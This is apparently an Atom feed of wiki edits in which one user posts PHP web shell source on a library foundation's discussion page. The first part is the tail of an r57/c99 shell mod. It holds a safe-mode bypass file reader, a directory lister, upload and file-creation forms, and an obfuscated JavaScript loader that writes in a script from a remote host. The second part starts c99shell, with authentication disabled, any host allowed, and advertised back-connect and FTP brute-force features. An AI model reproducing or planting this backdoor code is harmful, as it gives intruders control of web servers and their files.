      &lt;br /&gt;
      &lt;br /&gt;
      &amp;lt;?&lt;br /&gt;
      &lt;br /&gt;
      function rsg_read()&lt;br /&gt;
	{	&lt;br /&gt;
	$test=&amp;quot;&amp;quot;;&lt;br /&gt;
	$temp=tempnam($test, &amp;quot;cx&amp;quot;);&lt;br /&gt;
	$file=$_GET['file'];	&lt;br /&gt;
	$get=htmlspecialchars($file);&lt;br /&gt;
	echo &amp;quot;&amp;lt;br&amp;gt;Trying To Get File &amp;lt;font color=#000099&amp;gt;&amp;lt;b&amp;gt;$get&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
	if(copy(&amp;quot;compress.zlib://&amp;quot;.$file, $temp)){&lt;br /&gt;
	$fichier = fopen($temp, &amp;quot;r&amp;quot;);&lt;br /&gt;
	$action = fread($fichier, filesize($temp));&lt;br /&gt;
	fclose($fichier);&lt;br /&gt;
	$source=htmlspecialchars($action);&lt;br /&gt;
	echo &amp;quot;&amp;lt;div class=\&amp;quot;shell\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Start $get&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;font color=\&amp;quot;white\&amp;quot;&amp;gt;$source&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&amp;lt;br&amp;gt;Fin &amp;lt;font color=#000099&amp;gt;$get&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
	unlink($temp);&lt;br /&gt;
	} else {&lt;br /&gt;
	die(&amp;quot;&amp;lt;FONT COLOR=\&amp;quot;RED\&amp;quot;&amp;gt;&amp;lt;CENTER&amp;gt;Sorry... File&lt;br /&gt;
	&amp;lt;B&amp;gt;&amp;quot;.htmlspecialchars($file).&amp;quot;&amp;lt;/B&amp;gt; dosen't exists or you don't have&lt;br /&gt;
	access.&amp;lt;/CENTER&amp;gt;&amp;lt;/FONT&amp;gt;&amp;quot;);&lt;br /&gt;
			}&lt;br /&gt;
	echo &amp;quot;&amp;lt;/div&amp;gt;&amp;quot;;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	if(isset($_GET['file']))&lt;br /&gt;
{&lt;br /&gt;
rsg_read();&lt;br /&gt;
}&lt;br /&gt;
	&lt;br /&gt;
	?&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	&amp;lt;?&lt;br /&gt;
	&lt;br /&gt;
	function rsg_glob()&lt;br /&gt;
{&lt;br /&gt;
$chemin=$_GET['directory'];&lt;br /&gt;
$files = glob(&amp;quot;$chemin*&amp;quot;);&lt;br /&gt;
echo &amp;quot;Trying To List Folder &amp;lt;font color=#000099&amp;gt;&amp;lt;b&amp;gt;$chemin&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
foreach ($files as $filename) {&lt;br /&gt;
	echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;&lt;br /&gt;
   echo &amp;quot;$filename\n&amp;quot;;&lt;br /&gt;
   echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if(isset($_GET['directory']))&lt;br /&gt;
{&lt;br /&gt;
rsg_glob();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
          &amp;lt;br&amp;gt;&lt;br /&gt;
      &amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
    &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;83&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&lt;br /&gt;
   &amp;lt;center&amp;gt;Php Safe-Mode Bypass (List Directories):     &amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
      Dir: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;directory&amp;quot; method=&amp;quot;get&amp;quot;&amp;gt; &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;List Directory&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt; eg: /etc/&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
    &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&amp;lt;/TABLE&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=&amp;quot;1&amp;quot; width=&amp;quot;100%&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&lt;br /&gt;
&amp;lt;script language=javascript&amp;gt;document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264DTDSJQU%2631MBOHVBHF%264E%2633kbwbtdsjqu%2633%2631TSD%264E%2633iuuq%264B00s68d%3A%3A/dpn0o4xti4m0dj%7B/kt%2633%264F%261B%261B%264D0TDSJQU%264F%261B%261%3A%261%3A%261%3A1')&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
 &amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: &amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=search&amp;amp;d=&amp;lt;?php echo urlencode($d); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Search&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ::&amp;lt;/b&amp;gt;&amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=&amp;quot;search&amp;quot;&amp;gt;&amp;lt;input type=hidden name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;search_name&amp;quot; size=&amp;quot;29&amp;quot; value=&amp;quot;(.*)&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;checkbox&amp;quot; name=&amp;quot;search_name_regexp&amp;quot; value=&amp;quot;1&amp;quot;  checked&amp;gt; - regexp&amp;amp;nbsp;&amp;lt;input type=submit name=submit value=&amp;quot;Search&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
 &amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: &amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=upload&amp;amp;d=&amp;lt;?php echo $ud; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Upload&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ::&amp;lt;/b&amp;gt;&amp;lt;form method=&amp;quot;POST&amp;quot; ENCTYPE=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=&amp;quot;upload&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;uploadfile&amp;quot;&amp;gt;&amp;lt;input type=hidden name=&amp;quot;miniform&amp;quot; value=&amp;quot;1&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit name=submit value=&amp;quot;Upload&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;?php echo $wdt; ?&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=&amp;quot;1&amp;quot; width=&amp;quot;100%&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: Make Dir ::&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=&amp;quot;mkdir&amp;quot;&amp;gt;&amp;lt;input type=hidden name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;mkdir&amp;quot; size=&amp;quot;50&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit value=&amp;quot;Create&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;?php echo $wdt; ?&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: Make File ::&amp;lt;/b&amp;gt;&amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=&amp;quot;mkfile&amp;quot;&amp;gt;&amp;lt;input type=hidden name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;mkfile&amp;quot; size=&amp;quot;50&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=hidden name=&amp;quot;ft&amp;quot; value=&amp;quot;edit&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit value=&amp;quot;Create&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;?php echo $wdt; ?&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=&amp;quot;1&amp;quot; width=&amp;quot;100%&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: Go Dir ::&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=&amp;quot;ls&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;d&amp;quot; size=&amp;quot;50&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit value=&amp;quot;Go&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: Go File ::&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=&amp;quot;gofile&amp;quot;&amp;gt;&amp;lt;input type=hidden name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;f&amp;quot; size=&amp;quot;50&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit value=&amp;quot;Go&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width=&amp;quot;100%&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;990&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;p align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;b&amp;gt;--[ r57c99.com.Org &amp;lt;?php echo $shver; ?&amp;gt; &amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=about&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;Modded by&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt; K1r4 @ gmail. com| &amp;lt;a href=&amp;quot;http://emp3ror.com&amp;quot;&amp;gt;&amp;lt;font color=&amp;quot;#FF0000&amp;quot;&amp;gt;Emp3ror Team&amp;lt;/font&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;font color=&amp;quot;#FF0000&amp;quot;&amp;gt;&amp;lt;/font&amp;gt; | Generation time: &amp;lt;?php echo round(getmicrotime()-starttime,4); ?&amp;gt; ]--&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;lt;?php chdir($lastdir); exit(); ?&amp;gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Discusi%C3%B3n:Portada&amp;diff=4416</id>
		<title>Discusión:Portada</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Discusi%C3%B3n:Portada&amp;diff=4416"/>
		<updated>2017-01-07T06:13:32Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
//add php tags before usage&lt;br /&gt;
/*&lt;br /&gt;
******************************************************************************************************&lt;br /&gt;
*&lt;br /&gt;
*					c99shell.php v.1.0 beta (?? 21.05.2005)&lt;br /&gt;
*							Freeware license.&lt;br /&gt;
*								© CCTeaM.&lt;br /&gt;
*  c99shell - ????-???????? ????? www-???????, &amp;quot;?????????&amp;quot; ??? ??????.&lt;br /&gt;
*  ?? ?????? ????????? ??????? ????????? ?????? ?? ???????? ????????? ????????:&lt;br /&gt;
   http://ccteam.ru/releases/c99shell&lt;br /&gt;
*&lt;br /&gt;
*  WEB: http://ccteam.ru&lt;br /&gt;
*  ICQ UIN #: 656555&lt;br /&gt;
* &lt;br /&gt;
*  ???????????:&lt;br /&gt;
*  + ?????????? ?????????? ? ?????????? (ftp, samba *) ???????/???????, ??????????&lt;br /&gt;
*    ??????????? ?????????? ?????? ? ?????&lt;br /&gt;
*    (?????????????? ?????????????/??????????????? ????? tar *)&lt;br /&gt;
*    ??????????? ????? (???????? ?????? ??????)&lt;br /&gt;
*    modify-time ? access-time ? ?????? ?? ???????? ??? ?????????????? (????./???. ?????????? $filestealth)&lt;br /&gt;
*  + ??????????? SQL-???????? ?? ?????????? phpmyadmin,&lt;br /&gt;
     ????????/????????/?????????????? ??/??????, ???????? ?????? ????? ????? ? mysql&lt;br /&gt;
*  + ?????????? ?????????? unix-??????.&lt;br /&gt;
*  + ??????? (?????? ???????????) ?????????? shell-?????? (????? ???????, ????? ?????????????)&lt;br /&gt;
*  + ?????????? ????????????? PHP-????&lt;br /&gt;
*  + ?????????? ?????? ????? md5, unix-md5, sha1, crc32, base64&lt;br /&gt;
*  + ??????? ????????? ?????? ???????????? ??&lt;br /&gt;
*  + ??????? ftp-???????????? ?? ?????? login;login ?? /etc/passwd (?????? ???? ?????? ? 1/100 ?????????)&lt;br /&gt;
*    ???????????? ?????, ??????????, ????????? ???????? ??? ??/?????????, ?????????? ?????????? SQL)&lt;br /&gt;
*  + ?????? &amp;quot;?????&amp;quot; include: ????????????? ???? ?????????? ? ????????????? ? ????????? ?? ? ?????? (?????????)&lt;br /&gt;
     ????? ????? ???????? $surl (??????? ??????) ??? ????? ???????????? (?????????????) ??? ? ????? cookie &amp;quot;c99sh_surl&amp;quot;,&lt;br /&gt;
     ???? ????-?????? ???????? $set_surl ? cookie &amp;quot;set_surl&amp;quot;&lt;br /&gt;
*  + ??????????? &amp;quot;?????????&amp;quot; /bin/bash ?? ???????????? ???? ? ???????????? ???????,&lt;br /&gt;
*    ??? ??????? back connect (???????????? ???????????? ??????????, ? ????????? ????????? ??? ??????? NetCat).&lt;br /&gt;
*  + ??????????? ???????? ????-???????? ???????&lt;br /&gt;
*  + ????????????????? ???????? ????????? ? ???????????? ? ????????? ?????? (????? mail())&lt;br /&gt;
&lt;br /&gt;
*  * - ????? ????????? ??????? ?? ???????????? PHP&lt;br /&gt;
*&lt;br /&gt;
*	? ????? ????? ??????? ??? ???!&lt;br /&gt;
*&lt;br /&gt;
*   ????????? ?????????:&lt;br /&gt;
*  ~ ???????? sql-?????????&lt;br /&gt;
*  ~ ?????????? ??????????? ?????????? ??????&lt;br /&gt;
*&lt;br /&gt;
*  ~-~ ?????? ??? ???? ???????? ????????????, ???????? ?????????? ? ?????????? (???? ? ????? ??????????????!)&lt;br /&gt;
       ? ICQ UIN #656555 ???? ????? ?????? &amp;quot;feedback&amp;quot;, ????? ??????????? ??? ??????????? ? ?????????.&lt;br /&gt;
*&lt;br /&gt;
*  Last modify: 21.05.2005&lt;br /&gt;
*&lt;br /&gt;
*  © Captain Crunch Security TeaM. Coded by tristram&lt;br /&gt;
*&lt;br /&gt;
******************************************************************************************************&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
//Starting calls&lt;br /&gt;
if (!function_exists(&amp;quot;getmicrotime&amp;quot;)) {function getmicrotime() {list($usec, $sec) = explode(&amp;quot; &amp;quot;, microtime()); return ((float)$usec + (float)$sec);}}&lt;br /&gt;
error_reporting(5);&lt;br /&gt;
@ignore_user_abort(true);&lt;br /&gt;
@set_magic_quotes_runtime(0);&lt;br /&gt;
@set_time_limit(0);&lt;br /&gt;
$win = strtolower(substr(PHP_OS, 0, 3)) == &amp;quot;win&amp;quot;;&lt;br /&gt;
if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}&lt;br /&gt;
define(&amp;quot;starttime&amp;quot;,getmicrotime());&lt;br /&gt;
if (get_magic_quotes_gpc()) {if (!function_exists(&amp;quot;strips&amp;quot;)) {function strips(&amp;amp;$arr,$k=&amp;quot;&amp;quot;) {if (is_array($arr)) {foreach($arr as $k=&amp;gt;$v) {if (strtoupper($k) != &amp;quot;GLOBALS&amp;quot;) {strips($arr[&amp;quot;$k&amp;quot;]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}&lt;br /&gt;
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);&lt;br /&gt;
foreach($_REQUEST as $k=&amp;gt;$v) {if (!isset($$k)) {$$k = $v;}}&lt;br /&gt;
&lt;br /&gt;
$shver = &amp;quot;1.0 beta (21.05.2005)&amp;quot;; //Current version&lt;br /&gt;
//CONFIGURATION AND SETTINGS&lt;br /&gt;
if (!empty($unset_surl)) {setcookie(&amp;quot;c99sh_surl&amp;quot;); $surl = &amp;quot;&amp;quot;;}&lt;br /&gt;
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie(&amp;quot;c99sh_surl&amp;quot;,$surl);}&lt;br /&gt;
else {$surl = $_REQUEST[&amp;quot;c99sh_surl&amp;quot;]; //Set this cookie for manual SURL&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.&lt;br /&gt;
&lt;br /&gt;
if ($surl_autofill_include and !$_REQUEST[&amp;quot;c99sh_surl&amp;quot;]) {$include = &amp;quot;&amp;amp;&amp;quot;; foreach (explode(&amp;quot;&amp;amp;&amp;quot;,getenv(&amp;quot;QUERY_STRING&amp;quot;)) as $v) {$v = explode(&amp;quot;=&amp;quot;,$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array(&amp;quot;http://&amp;quot;,&amp;quot;https://&amp;quot;,&amp;quot;ssl://&amp;quot;,&amp;quot;ftp://&amp;quot;,&amp;quot;\\\\&amp;quot;) as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name).&amp;quot;=&amp;quot;.urlencode($value).&amp;quot;&amp;amp;&amp;quot;;}}} if ($_REQUEST[&amp;quot;surl_autofill_include&amp;quot;]) {$includestr .= &amp;quot;surl_autofill_include=1&amp;amp;&amp;quot;;}}&lt;br /&gt;
if (empty($surl))&lt;br /&gt;
{&lt;br /&gt;
 $surl = &amp;quot;?&amp;quot;.$includestr; //Self url&lt;br /&gt;
}&lt;br /&gt;
$surl = htmlspecialchars($surl);&lt;br /&gt;
&lt;br /&gt;
$timelimit = 60; //limit of execution this script (seconds), 0 = unlimited.&lt;br /&gt;
&lt;br /&gt;
//Authentication&lt;br /&gt;
&lt;br /&gt;
$login = &amp;quot;c99&amp;quot;; //login&lt;br /&gt;
//DON'T FORGOT ABOUT CHANGE PASSWORD!!!&lt;br /&gt;
$pass = &amp;quot;c99&amp;quot;; //password&lt;br /&gt;
$md5_pass = &amp;quot;&amp;quot;; //md5-cryped pass. if null, md5($pass)&lt;br /&gt;
&lt;br /&gt;
	/*COMMENT IT FOR TURN ON AUTHENTIFICATION &amp;gt;&amp;gt;&amp;gt;*/	$login = false; //turn off authentification&lt;br /&gt;
&lt;br /&gt;
$host_allow = array(&amp;quot;*&amp;quot;); //array (&amp;quot;{mask}1&amp;quot;,&amp;quot;{mask}2&amp;quot;,...), {mask} = IP or HOST e.g. array(&amp;quot;192.168.0.*&amp;quot;,&amp;quot;127.0.0.1&amp;quot;)&lt;br /&gt;
$login_txt = &amp;quot;Restricted area&amp;quot;; //http-auth message.&lt;br /&gt;
$accessdeniedmess = &amp;quot;&amp;lt;a href=\&amp;quot;http://ccteam.ru/releases/c99shell\&amp;quot;&amp;gt;c99shell v.&amp;quot;.$shver.&amp;quot;&amp;lt;/a&amp;gt;: access denied&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$autoupdate = false; //Automatic updating?&lt;br /&gt;
$updatenow = false; //If true, update now&lt;br /&gt;
$c99sh_updatefurl = &amp;quot;http://ccteam.ru/releases/update/c99shell/&amp;quot;; //Update server&lt;br /&gt;
&lt;br /&gt;
$filestealth = false; //if true, don't change modify&amp;amp;access-time&lt;br /&gt;
&lt;br /&gt;
$donated_html = &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Owned by hacker&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
		/* If you publish free shell and you wish&lt;br /&gt;
		add link to your site or any other information,&lt;br /&gt;
		put here your html. */&lt;br /&gt;
$donated_act = array(&amp;quot;&amp;quot;); //array (&amp;quot;act1&amp;quot;,&amp;quot;act2,&amp;quot;...), if $act is in this array, display $donated_html.&lt;br /&gt;
&lt;br /&gt;
$curdir = &amp;quot;./&amp;quot;; //start directory&lt;br /&gt;
//$curdir = getenv(&amp;quot;DOCUMENT_ROOT&amp;quot;);&lt;br /&gt;
$tmpdir = &amp;quot;&amp;quot;; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)&lt;br /&gt;
$tmpdir_log = &amp;quot;./&amp;quot;; //Directory logs of long processes (e.g. brute, scan...)&lt;br /&gt;
&lt;br /&gt;
$log_email = &amp;quot;user@host.tld&amp;quot;; //Default e-mail for sending logs&lt;br /&gt;
&lt;br /&gt;
$sort_default = &amp;quot;0a&amp;quot;; //Default sorting, 0 - number of colomn, &amp;quot;a&amp;quot;scending or &amp;quot;d&amp;quot;escending&lt;br /&gt;
$sort_save = true; //If true then save sorting-type.&lt;br /&gt;
&lt;br /&gt;
// Registered file-types.&lt;br /&gt;
//  array(&lt;br /&gt;
//   &amp;quot;{action1}&amp;quot;=&amp;gt;array(&amp;quot;ext1&amp;quot;,&amp;quot;ext2&amp;quot;,&amp;quot;ext3&amp;quot;,...),&lt;br /&gt;
//   &amp;quot;{action2}&amp;quot;=&amp;gt;array(&amp;quot;ext4&amp;quot;,&amp;quot;ext5&amp;quot;,&amp;quot;ext6&amp;quot;,...),&lt;br /&gt;
//   ...&lt;br /&gt;
//  )&lt;br /&gt;
$ftypes  = array(&lt;br /&gt;
 &amp;quot;html&amp;quot;=&amp;gt;array(&amp;quot;html&amp;quot;,&amp;quot;htm&amp;quot;,&amp;quot;shtml&amp;quot;),&lt;br /&gt;
 &amp;quot;txt&amp;quot;=&amp;gt;array(&amp;quot;txt&amp;quot;,&amp;quot;conf&amp;quot;,&amp;quot;bat&amp;quot;,&amp;quot;sh&amp;quot;,&amp;quot;js&amp;quot;,&amp;quot;bak&amp;quot;,&amp;quot;doc&amp;quot;,&amp;quot;log&amp;quot;,&amp;quot;sfc&amp;quot;,&amp;quot;cfg&amp;quot;,&amp;quot;htaccess&amp;quot;),&lt;br /&gt;
 &amp;quot;exe&amp;quot;=&amp;gt;array(&amp;quot;sh&amp;quot;,&amp;quot;install&amp;quot;,&amp;quot;bat&amp;quot;,&amp;quot;cmd&amp;quot;),&lt;br /&gt;
 &amp;quot;ini&amp;quot;=&amp;gt;array(&amp;quot;ini&amp;quot;,&amp;quot;inf&amp;quot;),&lt;br /&gt;
 &amp;quot;code&amp;quot;=&amp;gt;array(&amp;quot;php&amp;quot;,&amp;quot;phtml&amp;quot;,&amp;quot;php3&amp;quot;,&amp;quot;php4&amp;quot;,&amp;quot;inc&amp;quot;,&amp;quot;tcl&amp;quot;,&amp;quot;h&amp;quot;,&amp;quot;c&amp;quot;,&amp;quot;cpp&amp;quot;,&amp;quot;py&amp;quot;,&amp;quot;cgi&amp;quot;,&amp;quot;pl&amp;quot;),&lt;br /&gt;
 &amp;quot;img&amp;quot;=&amp;gt;array(&amp;quot;gif&amp;quot;,&amp;quot;png&amp;quot;,&amp;quot;jpeg&amp;quot;,&amp;quot;jfif&amp;quot;,&amp;quot;jpg&amp;quot;,&amp;quot;jpe&amp;quot;,&amp;quot;bmp&amp;quot;,&amp;quot;ico&amp;quot;,&amp;quot;tif&amp;quot;,&amp;quot;tiff&amp;quot;,&amp;quot;avi&amp;quot;,&amp;quot;mpg&amp;quot;,&amp;quot;mpeg&amp;quot;),&lt;br /&gt;
 &amp;quot;sdb&amp;quot;=&amp;gt;array(&amp;quot;sdb&amp;quot;),&lt;br /&gt;
 &amp;quot;phpsess&amp;quot;=&amp;gt;array(&amp;quot;sess&amp;quot;),&lt;br /&gt;
 &amp;quot;download&amp;quot;=&amp;gt;array(&amp;quot;exe&amp;quot;,&amp;quot;com&amp;quot;,&amp;quot;pif&amp;quot;,&amp;quot;src&amp;quot;,&amp;quot;lnk&amp;quot;,&amp;quot;zip&amp;quot;,&amp;quot;rar&amp;quot;,&amp;quot;gz&amp;quot;,&amp;quot;tar&amp;quot;)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
// Registered executable file-types.&lt;br /&gt;
